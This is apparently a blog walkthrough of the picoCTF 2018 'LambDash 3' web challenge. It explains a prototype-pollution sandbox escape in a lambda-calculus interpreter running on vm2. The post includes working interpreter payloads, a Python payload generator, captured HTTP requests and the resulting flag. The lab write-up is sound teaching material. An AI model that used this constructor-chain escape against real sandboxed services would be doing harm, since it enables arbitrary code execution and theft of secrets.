<pre>PayloadTooLargeError: request entity too large<br> &nbsp; &nbsp;at readStream (/problems/lambdash-3_4_30de32da9b5d4bff6ec4f9ae0c2517d6/node_modules/raw-body/index.js:155:17)<br> &nbsp; &nbsp;at getRawBody (/problems/lambdash-3_4_30de32da9b5d4bff6ec4f9ae0c2517d6/node_modules/raw-body/index.js:108:12)<br> &nbsp; &nbsp;at read (/problems/lambdash-3_4_30de32da9b5d4bff6ec4f9ae0c2517d6/node_modules/body-parser/lib/read.js:77:3)<br> &nbsp; &nbsp;at urlencodedParser (/problems/lambdash-3_4_30de32da9b5d4bff6ec4f9ae0c2517d6/node_modules/body-parser/lib/types/urlencoded.js:116:5)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/problems/lambdash-3_4_30de32da9b5d4bff6ec4f9ae0c2517d6/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at trim_prefix (/problems/lambdash-3_4_30de32da9b5d4bff6ec4f9ae0c2517d6/node_modules/express/lib/router/index.js:317:13)<br> &nbsp; &nbsp;at /problems/lambdash-3_4_30de32da9b5d4bff6ec4f9ae0c2517d6/node_modules/express/lib/router/index.js:284:7<br> &nbsp; &nbsp;at Function.process_params (/problems/lambdash-3_4_30de32da9b5d4bff6ec4f9ae0c2517d6/node_modules/express/lib/router/index.js:335:12)<br> &nbsp; &nbsp;at next (/problems/lambdash-3_4_30de32da9b5d4bff6ec4f9ae0c2517d6/node_modules/express/lib/router/index.js:275:10)<br> &nbsp; &nbsp;at expressInit (/problems/lambdash-3_4_30de32da9b5d4bff6ec4f9ae0c2517d6/node_modules/express/lib/middleware/init.js:40:5)</pre>
</body>
</html>

There we go, that’s our stack trace and /problems/lambdash-3_4_30de32da9b5d4bff6ec4f9ae0c2517d6/ is our path, sweet. Now to download this, I compressed the directory to a zip file and downloaded it using scp. The directory look something like this.

.
├── client
│   ├── pages
│   │   ├── additional.html
│   │   ├── application.html
│   │   ├── intro.html
│   │   └── ...
│   ├── scripts
│   │    └── index.js
│   ├── styles
│   │   └── style.css
│   └── index.html
└── dist
│   └── ...
└── src
│   ├── emulator.ts
│   ├── index.ts
│   ├── lambda.d.ts
│   ├── lambda.jison
│   ├── server.ts
│   └── typechecker.ts
├── package-lock.json
├── package.json
├── tsconfig.json
└── yarn.lock

First stop, the package.json file

{
  "name": "lambda",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "build": "jison src/lambda.jison -o dist/lambda.js && tsc",
    "watch": "concurrently --kill-others 'watch \"jison src/lambda.jison -o dist/lambda.js\" src' 'tsc -w' 'nodemon dist/server.js'"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "body-parser": "^1.18.3",
    "express": "^4.16.3",
    "immutable": "^3.8.2",
    "jison": "^0.4.18",
    "mz": "^2.7.0",
    "nconf": "^0.10.0",
    "vm2": "^3.6.3"
  },
  "devDependencies": {
    "@types/body-parser": "^1.17.0",
    "@types/express": "^4.16.0",
    "@types/mz": "^0.0.32",
    "@types/nconf": "^0.0.37"
  }
}

In the “dependencies”, we have some interesting packages like jison and vm2. jison is an API for creating parsers in javascript. vm2 is basically a sandbox which let’s you run untrusted code safetly inside of it. This makes sense because we will be passing some System F code which will be interpreted and executed in the backend. To safetly execute these instructions we could use a virtual machine like vm2.

Another thing to note is that the code is written in typescript, then compiled to vanilla javascript.

Now the best way to understand the source is to see how it works. Static analysis on the source code give you an overview of what the code does, but there wasn’t anything that was out of the ordinary except one thing. In server.ts, there was a express route to /run endpoint. Let’s look at this

app.post("/run", (req, res) => {
    let code = req.body.code;
    let ast: E; 
    try {
      ast = parse(code);
    } catch (e) {
      res.send(`Error -- code did not parse<br>${e.toString()}`);
      return;
    }
    let type: Type;
    try {
      type = typecheck(ast);
    } catch (e) {
      res.send(`Error -- code did not typecheck<br>${e.toString()}`);
      return;
    }
    let vm = new vm2.NodeVM({
      timeout: 1000,
      sandbox: {
        ast,
        hidden: {
          getFlag: ((f: string) => ((x: string) => {
            if (x === "if you can get this you deserve the flag -> abcd1234!@#$%^&*()'") {
              return f;
            }
            return "Bad! " + x;
          }))(process.env.FLAG)
        },
      },
      require: {
        context: "sandbox",
        external: ["./emulator", "immutable"],
        root: __dirname,
      },
    });
    try {
      let result = vm.run(new vm2.VMScript(`
        let emulator = require("${__dirname}/emulator");
        module.exports = emulator.resToString(emulator.default(ast));
      `));
      console.log(result);
      res.send(`Result:<br>${result}:${typeToString(type)}`);
    } catch (e) {
      console.log("Wut", e.stack);
      res.send(`Error -- failed to execute<br>${e}`);
    }
  })

As we can see, this is a route to /run endpoint and only POST method is allowed. There is this obvious interesting peice of code which tells us what we need to do in order to get the flag.

let vm = new vm2.NodeVM({
      timeout: 1000,
      sandbox: {
        ast,
        hidden: {
          getFlag: ((f: string) => ((x: string) => {
            if (x === "if you can get this you deserve the flag -> abcd1234!@#$%^&*()'") {
              return f;
            }
            return "Bad! " + x;
          }))(process.env.FLAG)
        },
      },
      require: {
        context: "sandbox",
        external: ["./emulator", "immutable"],
        root: __dirname,
      },
    });

There’s a hidden property, which has a function called getFlag in it. This tells us that if the value of x is strictly equal to "if you can get this you deserve the flag -> abcd1234!@#$%^&*()'", then we get our flag. By the way, the flag is in the environment variable process.env.FLAG. This is cool, now we know exactly what we need to do. But the problem is we dont understand how this System F works, so we need to understand this aleast a little bit before jumping into exploitation.

We did some static analysis, this gave us a huge hint on what we need to do, but I also wanted to do some dynamic analysis on the code to get a better picture of this problem. But before getting our hands, let’s install the node package dependencies and also the typescript.

# To install typescript
npm install -g typescript
# To install other dependencies
npm install

To start off, I placed some console.log statements on every function call made. I’m sure there are better ways using Proxy in javascript, but I just wanted this to log stuff, not modify on the fly. This was like a basic logger which spits out the file, the function name and it’s arguments, which helps a lot like to understand the program flow. So for the test case I used this simple System F code.

LAMBDA a.
  lambda x:a.x

This was also the example code from the documentation, anyways this function is very simple, all it does is, it returns whatever you send it. Here a is a custom type, since we are dealing with a typed lambda calculus, we need to specify types and this is how we do it. Before running this code, let’s start the server.

tsc --build tsconfig.json && node inspect ./dist/server.js

I’m using a console node debugger, because I had problems with chrome :(

I ran the code an saw my debugger, there was a lot going on.

< Debugger listening on ws://127.0.0.1:9229/ddef7a84-6cca-4ba8-8895-73437005bdbe
< For help see https://nodejs.org/en/docs/inspector
< Debugger attached.
Break on start in dist/server.js:1
> 1 (function (exports, require, module, __filename, __dirname) { "use strict";
  2 var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
  3     return new (P || (P = Promise))(function (resolve, reject) {
debug> c
< ========= [server.ts] start():async
< Thu, 18 Oct 2018 10:23:02 GMT body-parser deprecated undefined extended: provide extended option at dist/server.js:30:24
< {}
< { kind: 'TYPE_LAMBDA',
<   value: 
<    { kind: 'LAMBDA',
<      value: { kind: 'UNTYPED_IDENT', value: 'x' },
<      binding: 
<       { kind: 'TYPED_IDENT',
<         type: { kind: 'TYPE_VAR', value: 'a' },
<         value: 'x' } },
<   binding: 'a' }
< ========= [typechecker.ts] typecheck() Map {} Map {} { kind: 'TYPE_LAMBDA',
<   value: 
<    { kind: 'LAMBDA',
<      value: { kind: 'UNTYPED_IDENT', value: 'x' },
<      binding: 
<       { kind: 'TYPED_IDENT',
<         type: { kind: 'TYPE_VAR', value: 'a' },
<         value: 'x' } },
<   binding: 'a' }
< ========= [typechecker.ts] typecheck() Map {} Map { "a": [object Object] } { kind: 'LAMBDA',
<   value: { kind: 'UNTYPED_IDENT', value: 'x' },
<   binding: 
<    { kind: 'TYPED_IDENT',
<      type: { kind: 'TYPE_VAR', value: 'a' },
<      value: 'x' } }
< ========= [typechecker.ts] getType() { kind: 'TYPE_VAR', value: 'a' } Map { "a": [object Object] }
< ========= [typechecker.ts] typecheck() Map { "x": [object Object] } Map { "a": [object Object] } { kind: 'UNTYPED_IDENT', value: 'x' }
< ========= [typechecker.ts] getType() { kind: 'TYPE_VAR', value: 'a' } Map { "a": [object Object] }
< ========= [typechecker.ts] getType() { kind: 'ARROW',
<   value: 
<    [ { kind: 'TYPE_VAR', value: 'a' },
<      { kind: 'TYPE_VAR', value: 'a' } ] } Map {}
< ========= [emulator.ts] emulator() { kind: 'TYPE_LAMBDA',
<   value: 
<    { kind: 'LAMBDA',
<      value: { kind: 'UNTYPED_IDENT', value: 'x' },
<      binding: 
<       { kind: 'TYPED_IDENT',
<         type: { kind: 'TYPE_VAR', value: 'a' },
<         value: 'x' } },
<   binding: 'a' }
< ========= [emulator.ts] getCleanObject()
< ========= [emulator.ts] emulate() { kind: 'TYPE_LAMBDA',
<   value: 
<    { kind: 'LAMBDA',
<      value: { kind: 'UNTYPED_IDENT', value: 'x' },
<      binding: 
<       { kind: 'TYPED_IDENT',
<         type: { kind: 'TYPE_VAR', value: 'a' },
<         value: 'x' } },
<   binding: 'a' } { constructor: undefined,
<   __defineGetter__: undefined,
<   __defineSetter__: undefined,
<   hasOwnProperty: undefined,
<   __lookupGetter__: undefined,
<   __lookupSetter__: undefined,
<   isPrototypeOf: undefined,
<   propertyIsEnumerable: undefined,
<   toString: undefined,
<   valueOf: undefined,
<   toLocaleString: undefined }
< ========= [emulator.ts] resToString() function () {
<                 return emulate(e.value, sigma);
<             }
< [type_lambda]
< ========= [typechecker.ts] typeToString() { kind: 'NEEDS_CONSTRAINT',
<   binding: 'a',
<   type: 
<    { kind: 'ARROW',
<      value: 
<       [ { kind: 'TYPE_VAR', value: 'a' },
<         { kind: 'TYPE_VAR', value: 'a' } ] } }
< ========= [typechecker.ts] typeToString() { kind: 'ARROW',
<   value: 
<    [ { kind: 'TYPE_VAR', value: 'a' },
<      { kind: 'TYPE_VAR', value: 'a' } ] }
< ========= [typechecker.ts] typeToString() { kind: 'TYPE_VAR', value: 'a' }
< ========= [typechecker.ts] typeToString() { kind: 'TYPE_VAR', value: 'a' }
debug> 

This is a lot to take in at first, but we can break this down. Firstly we see the wrapper function that the nodejs adds

(function (exports, require, module, __filename, __dirname) { "use strict";
  2 var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
  3     return new (P || (P = Promise))(function (resolve, reject) {

after continuing, we see a some function calls which looks like

 ========= [filename.ts] function_name():async arguments

Now let’s see the flow of the program step by step

  • start() is called from server.ts
  • When we submit the code from the web page, this hits the server and first thing it does right after parsing it is, it checks for the types. This means typecheck() is called from typechecker.ts, for example kind: 'LAMBDA'. This continues until there are types involved the code.
  • It also checks for custom/defined types, like in our case, a is a defined type. we defined it using LAMBDA a..
  • There’s also this getType() which literally does what it says, all you gotta do is specify the kind.
  • After it’s done with types, the flow goes into emulator.ts. Here, the emulate() function is called a couple of time depending on the type that was identified earlier. There is a switch statement with many cases, each case is for a specific token identified.
  • Let’s say there’s a identified token NUMBER, the emulate() would just return the value of it, like return e.value. In some cases, it get’s complicated, for example in TUPLE, the TUPLEs are basically javascript objects. If you had a tuple which had like 3 items in it of type int, it would be basically a javascript object which looks something like { item1: value1, item2: value2, item3: value3 }
  • Then depending on the code we have written, the interpreter continues calling differemt methods and tries to emulate things.
  • Finally it executes the code inside of a sandbox.
  • In the end we get the output which is converted to string and sent as the HTTP response.

This was a quick overview, we don’t understand everybit of it, actually we don’t need to unless it’s necessary.

So far, we know how this thing kinda works on the high level and we know what we need to do to get the flag. So let’s think, I thought about bypassing and getting an RCE, then read the flag from the environment variables, but I thought there has to be a better way. I’ll be honest, I couldn’t figure this out all by myself, I had to spoil myself with some hints here and there from the people who have already solved this challenge.

The simplest way to get the flag is to somehow call getFlag by passing the string "if you can get this you deserve the flag -> abcd1234!@#$%^&*()'" and get the flag, but the lambda calculus doesn’t like strings, we can’t do any string operations in this thing, then how are we suppose to make it accept strings?

Let’s see,

Can we convert a number into a character in Javascript? yes we can, using fromCharCode function, If we pass in number 65, we get 'A' as the output. But we need to find a way to get a handle to the function fromCharCode.

Let’s add some console.log statements on interesting variables and see if the variable has access to some javascript functions. I added a bunch of logging statements in many places which prints the filename, the variable name, line number and it’s value. To be precise, there was only one variable that was of real interest, which was the variable obj returned from a function called getCleanObject. I didn’t add many looging statements, because almost all functions print the arguments, so that was sufficient, not being redundant.

I ran the same code again and looked at the debugger

< ========= [emulator.ts] getCleanObject()
< >>>>>>>> [emulator.ts:12] getCleanObject::obj => { constructor: undefined,
<   __defineGetter__: undefined,
<   __defineSetter__: undefined,
<   hasOwnProperty: undefined,
<   __lookupGetter__: undefined,
<   __lookupSetter__: undefined,
<   isPrototypeOf: undefined,
<   propertyIsEnumerable: undefined,
<   toString: undefined,
<   valueOf: undefined,
<   toLocaleString: undefined }
< ========= [emulator.ts] emulate() { kind: 'TYPE_LAMBDA',

It had almost the same output as before, but ofcourse I got some extra lines from the logger since we just added them to log variables. This was from emulator.ts file, on line 13, from the function getCleanObject, there was this obj variable. This was really intersting, why you ask? see the code below

function getCleanObject(): { [key: string]: any } {
  console.log("========= [emulator.ts] getCleanObject()");
  let obj = {};
  for (let prop of Object.getOwnPropertyNames((obj as any).__proto__)) {
    (obj as any)[prop] = undefined;
  }
  (obj as any).__proto__ = undefined;
  console.log(">>>>>>>> [emulator.ts:12] getCleanObject::obj =>", obj);
  return obj;
}

As you can see, this function creates a variable obj then strips off every property of that object and finally sets the __proto__ to undefined. We can also see the different attributes of the obj set to undefined in the log.

obj => { 
  constructor: undefined,
  __defineGetter__: undefined,
  __defineSetter__: undefined,
  hasOwnProperty: undefined,
  __lookupGetter__: undefined,
  __lookupSetter__: undefined,
  isPrototypeOf: undefined,
  propertyIsEnumerable: undefined,
  toString: undefined,
  valueOf: undefined,
  toLocaleString: undefined 
}

we see all of it, except __proto__, let’s print that out too.

console.log(">>>>>>>> [emulator.ts:12] getCleanObject::obj.__proto__ =>", (obj as any).__proto__);

This gives us


< ========= [emulator.ts] getCleanObject()
< >>>>>>>> [emulator.ts:12] getCleanObject::obj.__proto__ => {}
< ========= [emulator.ts] emulate() { kind: 'TYPE_LAMBDA',

hmmmm, see the bug yet? obj.__proto__ is {} instead of undefined. You might be like wait wut!? why didn’t this peice of code work?

(obj as any).__proto__ = undefined;

This has to do with node internals, __proto__ is non-compliant property, that may exists in some implementations like browsers and nodejs. __proto__ is a descriptor on Object.prototype.

The proto property of Object.prototype is an accessor property (a getter function and a setter function) that exposes the internal [[Prototype]] (either an object or null) of the object through which it is accessed. Read more

This means the __proto__ has to be an object or null.

Ergo, obj.__proto__ = undefined is invalid.

> var obj = {};
undefined
> obj.__proto__
{}
> obj.__proto__ = undefined;
undefined
> obj.__proto__
{}
> obj.__proto__ = null;
null
> obj.__proto__
undefined

So this means, we still have access to obj.__proto__, so let’s try how we can get our hands on fromCharCode function using the object’s proto property.

First let’s look at the constructor

> var obj = {};
undefined
> obj.__proto__
{}
> obj.__proto__.constructor
[Function: Object]

This gives us the handle to the constructor of the object, but the fromCharCode is present in the constructor of a string.

> "whatever".constructor
[Function: String]
> "whatever".constructor.fromCharCode
[Function: fromCharCode]

How to get our string if this lambda calculas doesn’t let us use a string in the first place? easy, use name. All the functions have name attribute, we can simply do the following

> obj.__proto__.constructor.name.constructor
[Function: String]
> obj.__proto__.constructor.name.constructor.fromCharCode
[Function: fromCharCode]

There we go, we now have access to fromCharCode. Now all we need to do is to fool the System F into thinking that __proto__ is a property of the TUPLE and access this object’s __proto__ and eventually get a handle to fromCharCode function like we just did above.

First we need to create a alias in lambda calculas which looks something like this

< `__proto__ { `constructor { `name { `constructor { `fromCharCode int -> int}}}} + `x int -> int>

It looks weird, but we are defining an optional. Optionals are like tuples but have only one variable in them. The interpreter also traverses over the parameters of this object, which we’ll take advantage of later on. Then we create a new instance using x which we’ll set it to a number. Then we try to process the x, but we also make the interpreter to look for __proto__ attribute. The interpreter will ofcourse think that this is the TUPLE and happily access constructor from __proto__. But it won’t stop there, since constructor itself is another TUPLE we make it go there and fetch the name attribute and this goes on until fromCharCode.

Now it’s time to output one character, ‘A’. We do that via the following lambda calculus code.

(
  (
    alias acc = < `__proto__ { `constructor { `name { `constructor { `fromCharCode int -> int}}}} + `x int -> int> in
    (
      lambda accfunc:acc.
        case(accfunc) {
          `__proto__ r -> r#`constructor#`name#`constructor#`fromCharCode 
          | `x r -> r
        }
    )(`x (lambda y:int.y) as acc)
  ) 
  65
)

We call the lambda by passing 65 which is the ascii value of ‘A’. This will eventually call fromCharCode. Now let’s try this out, we’ll send a POST request to /run with code=[THE ABOVE CODE].

POST /run HTTP/1.1
Host: 2018shell1.picoctf.com:11322
Content-Length: 365
Origin: http://2018shell1.picoctf.com:11322
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.67 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://2018shell1.picoctf.com:11322/
Accept-Encoding: gzip, deflate
Accept-Language: en-IN,en-GB;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: remember_token=8|bc201830f00576b048deb58a3c61e6ea0a5bf9dd10df1412afd04d874f5ef819e3b72e528791f5474fdb0e5dcbfe9317de2ebc86cb59f6a2f3ff80369dafa1ae; _ga=GA1.2.1584231330.1539783434; _gid=GA1.2.1598786021.1539783434
Connection: close

code=(
++(
++++alias+acc+%3d+<+`__proto__+{+`constructor+{+`name+{+`constructor+{+`fromCharCode+int+->+int}}}}+%2b+`x+int+->+int>+in
++++(
++++++lambda+accfunc%3aacc.
++++++++case(accfunc)+{
++++++++++`__proto__+r+->+r%23`constructor%23`name%23`constructor%23`fromCharCode+
++++++++++|+`x+r+->+r
++++++++}
++++)(`x+(lambda+y%3aint.y)+as+acc)
++)+
++65
)
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 16
ETag: W/"10-4hO6U0IC0Ja+qQl5uE5+vAAk4Zg"
Date: Thu, 18 Oct 2018 13:32:10 GMT
Connection: close

Result:<br>A:INT

There we go, we get 'A'. We have successfully fooled the interpreter. Now let’s see how to concatenate 2 characters.

This is similar to addition in lambda calculus, internally javascript concatenates strings like ‘A’ + ‘B’. The code to add 2 numbers looks like the following

alias number = int in   
(lambda m: number.
 lambda n: number.
    m + n)
5 10

# Result:
# 15:INT

We can use the same method to concatenate 2 characters

(
  lambda a : int.
  lambda b : int.
    a + b
)
(
  (
    alias acc = < `__proto__ { `constructor { `name { `constructor { `fromCharCode int -> int}}}} + `x int -> int> in
    (
      lambda accfunc:acc.
        case(accfunc) {
          `__proto__ r -> r#`constructor#`name#`constructor#`fromCharCode 
          | `x r -> r
        }
    )(`x (lambda y:int.y) as acc)
  ) 
  65
)
(
  (
    alias acc = < `__proto__ { `constructor { `name { `constructor { `fromCharCode int -> int}}}} + `x int -> int> in
    (
      lambda accfunc:acc.
        case(accfunc) {
          `__proto__ r -> r#`constructor#`name#`constructor#`fromCharCode 
          | `x r -> r
        }
    )(`x (lambda y:int.y) as acc)
  ) 
  66
)

# Result:
# AB:INT

As we can see at the bottom, the result was 'AB', we have successfully concatented 2 characters, we can do the same with as many characters as we want. But now we need to call the hidden.getFlag function and pass "if you can get this you deserve the flag -> abcd1234!@#$%^&*()'" as the argument.

If you have messed around with javascript, you’d know that constructor.constructor of a number, or a object is a handle to Function(){}, this means, we can pass a string and get code execution.

> x = 1
1
> x.__proto__.constructor
[Function: Number]
> x.__proto__.constructor.constructor
[Function: Function]
> x.__proto__.constructor.constructor("console.log('code executed')")
[Function: anonymous]
> x.__proto__.constructor.constructor("console.log('code executed')")()
code executed
undefined

As we can see here, our code was executed. This trick was also used to bypass angularjs sandbox back in the day, you can watch the video series here. We’ll use the same technique here.

The lambda calculus equivalent looks something like this

(
  alias acc = < `__proto__ { `constructor { `constructor int -> (int -> int)}} + `val int -> (int -> int)> in
  (
    lambda accf:acc.
      case(accf) {
        `__proto__ rr -> rr#`constructor#`constructor
        | `val rr -> rr}
  )(`val (lambda xx:int.lambda xxx:int.xx) as acc)
)

So in the end our pseudocode looks like this

obj.constructor.constructor(
  constructor.name.constructor.fromCharCode(114) +
  constructor.name.constructor.fromCharCode(101) +
  constructor.name.constructor.fromCharCode(116) +
  constructor.name.constructor.fromCharCode(117) +
  constructor.name.constructor.fromCharCode(114) +
  constructor.name.constructor.fromCharCode(110) +
  constructor.name.constructor.fromCharCode(32) +
  constructor.name.constructor.fromCharCode(104) +
  constructor.name.constructor.fromCharCode(105) +
  constructor.name.constructor.fromCharCode(100) +
  constructor.name.constructor.fromCharCode(100) +
  constructor.name.constructor.fromCharCode(101) +
  constructor.name.constructor.fromCharCode(110) +
  constructor.name.constructor.fromCharCode(46) +
  constructor.name.constructor.fromCharCode(103) +
  constructor.name.constructor.fromCharCode(101) +
  constructor.name.constructor.fromCharCode(116) +
  constructor.name.constructor.fromCharCode(70) +
  constructor.name.constructor.fromCharCode(108) +
  constructor.name.constructor.fromCharCode(97) +
  constructor.name.constructor.fromCharCode(103) +
  constructor.name.constructor.fromCharCode(40) +
  constructor.name.constructor.fromCharCode(34) +
  constructor.name.constructor.fromCharCode(105) +
  constructor.name.constructor.fromCharCode(102) +
  constructor.name.constructor.fromCharCode(32) +
  constructor.name.constructor.fromCharCode(121) +
  constructor.name.constructor.fromCharCode(111) +
  constructor.name.constructor.fromCharCode(117) +
  constructor.name.constructor.fromCharCode(32) +
  constructor.name.constructor.fromCharCode(99) +
  constructor.name.constructor.fromCharCode(97) +
  constructor.name.constructor.fromCharCode(110) +
  constructor.name.constructor.fromCharCode(32) +
  constructor.name.constructor.fromCharCode(103) +
  constructor.name.constructor.fromCharCode(101) +
  constructor.name.constructor.fromCharCode(116) +
  constructor.name.constructor.fromCharCode(32) +
  constructor.name.constructor.fromCharCode(116) +
  constructor.name.constructor.fromCharCode(104) +
  constructor.name.constructor.fromCharCode(105) +
  constructor.name.constructor.fromCharCode(115) +
  constructor.name.constructor.fromCharCode(32) +
  constructor.name.constructor.fromCharCode(121) +
  constructor.name.constructor.fromCharCode(111) +
  constructor.name.constructor.fromCharCode(117) +
  constructor.name.constructor.fromCharCode(32) +
  constructor.name.constructor.fromCharCode(100) +
  constructor.name.constructor.fromCharCode(101) +
  constructor.name.constructor.fromCharCode(115) +
  constructor.name.constructor.fromCharCode(101) +
  constructor.name.constructor.fromCharCode(114) +
  constructor.name.constructor.fromCharCode(118) +
  constructor.name.constructor.fromCharCode(101) +
  constructor.name.constructor.fromCharCode(32) +
  constructor.name.constructor.fromCharCode(116) +
  constructor.name.constructor.fromCharCode(104) +
  constructor.name.constructor.fromCharCode(101) +
  constructor.name.constructor.fromCharCode(32) +
  constructor.name.constructor.fromCharCode(102) +
  constructor.name.constructor.fromCharCode(108) +
  constructor.name.constructor.fromCharCode(97) +
  constructor.name.constructor.fromCharCode(103) +
  constructor.name.constructor.fromCharCode(32) +
  constructor.name.constructor.fromCharCode(45) +
  constructor.name.constructor.fromCharCode(62) +
  constructor.name.constructor.fromCharCode(32) +
  constructor.name.constructor.fromCharCode(97) +
  constructor.name.constructor.fromCharCode(98) +
  constructor.name.constructor.fromCharCode(99) +
  constructor.name.constructor.fromCharCode(100) +
  constructor.name.constructor.fromCharCode(49) +
  constructor.name.constructor.fromCharCode(50) +
  constructor.name.constructor.fromCharCode(51) +
  constructor.name.constructor.fromCharCode(52) +
  constructor.name.constructor.fromCharCode(33) +
  constructor.name.constructor.fromCharCode(64) +
  constructor.name.constructor.fromCharCode(35) +
  constructor.name.constructor.fromCharCode(36) +
  constructor.name.constructor.fromCharCode(37) +
  constructor.name.constructor.fromCharCode(94) +
  constructor.name.constructor.fromCharCode(38) +
  constructor.name.constructor.fromCharCode(42) +
  constructor.name.constructor.fromCharCode(40) +
  constructor.name.constructor.fromCharCode(41) +
  constructor.name.constructor.fromCharCode(39) +
  constructor.name.constructor.fromCharCode(34) +
  constructor.name.constructor.fromCharCode(41)
)()

// obj.__proto__.constructor.constructor('return hidden.getFlag("if you can get this you deserve the flag -> abcd1234!@#$%^&*()\'")')()

So finally combining all we got, we get this huge mess, but it works. Since our final payload is huge, messy and hard to hand craft, I wrote a small python script to generate the payload for us.

import string
from collections import defaultdict

Function = """
(
  alias acc = < `__proto__ { `constructor { `constructor int -> (int -> int)}} + `val int -> (int -> int)> in
  (
    lambda accf:acc.
      case(accf) {
        `__proto__ rr -> rr#`constructor#`constructor
        | `val rr -> rr}
  )(`val (lambda xx:int.lambda xxx:int.xx) as acc)
)
"""

fromCharCode = """
(
  (
    alias acc = < `__proto__ { `constructor { `name { `constructor { `fromCharCode int -> int}}}} + `x int -> int> in
    (
      lambda accfunc:acc.
        case(accfunc) {
          `__proto__ r -> r#`constructor#`name#`constructor#`fromCharCode 
          | `x r -> r
        }
    )(`x (lambda y:int.y) as acc)
  ) 
  [ascii]
)
"""

f_chars = []

code = 'return hidden.getFlag("if you can get this you deserve the flag -> abcd1234!@#$%^&*()\'")'

adder = "("

chars = string.ascii_lowercase
char_count = {}
all_chars = []

for i in range(len(code)):
  c_i = chars[i %  len(chars)]
  if(char_count.get(c_i)):
    char_count[c_i] += 1
  else:
    char_count[c_i] = 1

  xchar = (c_i * char_count[c_i])
  all_chars.append(xchar)
  lm_add = "lambda " + xchar + " : int."
  adder += lm_add + '\n'
  f_chars.append(fromCharCode.replace("[ascii]", str(ord(code[i]))))

adder += ' + '.join(all_chars)
adder += ")"

randint = "1337"
e_code = adder + '\n'.join(f_chars)

print string.Formatter().vformat('{Function}({exec_code}){argument}', (), defaultdict(str, Function=Function, exec_code=e_code, argument=randint))

Running this python script gives us a huge payload and feeding the payload into the lambda calculus interpreter get us the flag.

POST /run HTTP/1.1
Host: 2018shell1.picoctf.com:11322
Content-Length: 51673
Origin: http://2018shell1.picoctf.com:11322
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.67 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://2018shell1.picoctf.com:11322/?page=client/pages/numerals.html
Accept-Encoding: gzip, deflate
Accept-Language: en-IN,en-GB;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: remember_token=8|bc201830f00576b048deb58a3c61e6ea0a5bf9dd10df1412afd04d874f5ef819e3b72e528791f5474fdb0e5dcbfe9317de2ebc86cb59f6a2f3ff80369dafa1ae; _ga=GA1.2.1584231330.1539783434; _gid=GA1.2.1598786021.1539783434
Connection: close

code=%0A(%0A%09alias%20acc%20%3D%20%3C%20%60__proto__%20%7B%20%60constructor%20%7B%20%60constructor%20i....[TRUNCATED]....constructor%23%60name%23%60constructor%23%60fromCharCode%20%0A%09%09%09%09%09%7C%20%60x%20r%20-%3E%20r%0A%09%09%09%09%7D%0A%09%09)(%60x%20(lambda%20y%3Aint.y)%20as%20acc)%0A%09)%20%0A%0941%0A)%0A)1337
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 69
ETag: W/"45-mDF1mzdfoQwA1aGO84+IdudX5dQ"
Date: Thu, 18 Oct 2018 15:34:32 GMT
Connection: close

Result:<br>picoCTF{1_white_lie_and_your_proto_gets_pwnd_d8bc9edb}:INT

There we go, picoCTF{1_white_lie_and_your_proto_gets_pwnd_d8bc9edb} is our flag!

Damn that was rough.

That completes all 18 web challenges walkthrough of the Pico CTF. Anyways if you made it till the end, pat yourself on the back, you’re the best!


That’s all for now folks. Thank you so much for reading. Have a great day :)

– s0cket7

IDOR leads to account takeover

A quick bug writeup on IDOR and OTP abuse which led to full account takeover Continue reading

Open Redirect Vulnerability

Published on August 15, 2018

Beginner Linux CTF Walk-through

Published on August 11, 2018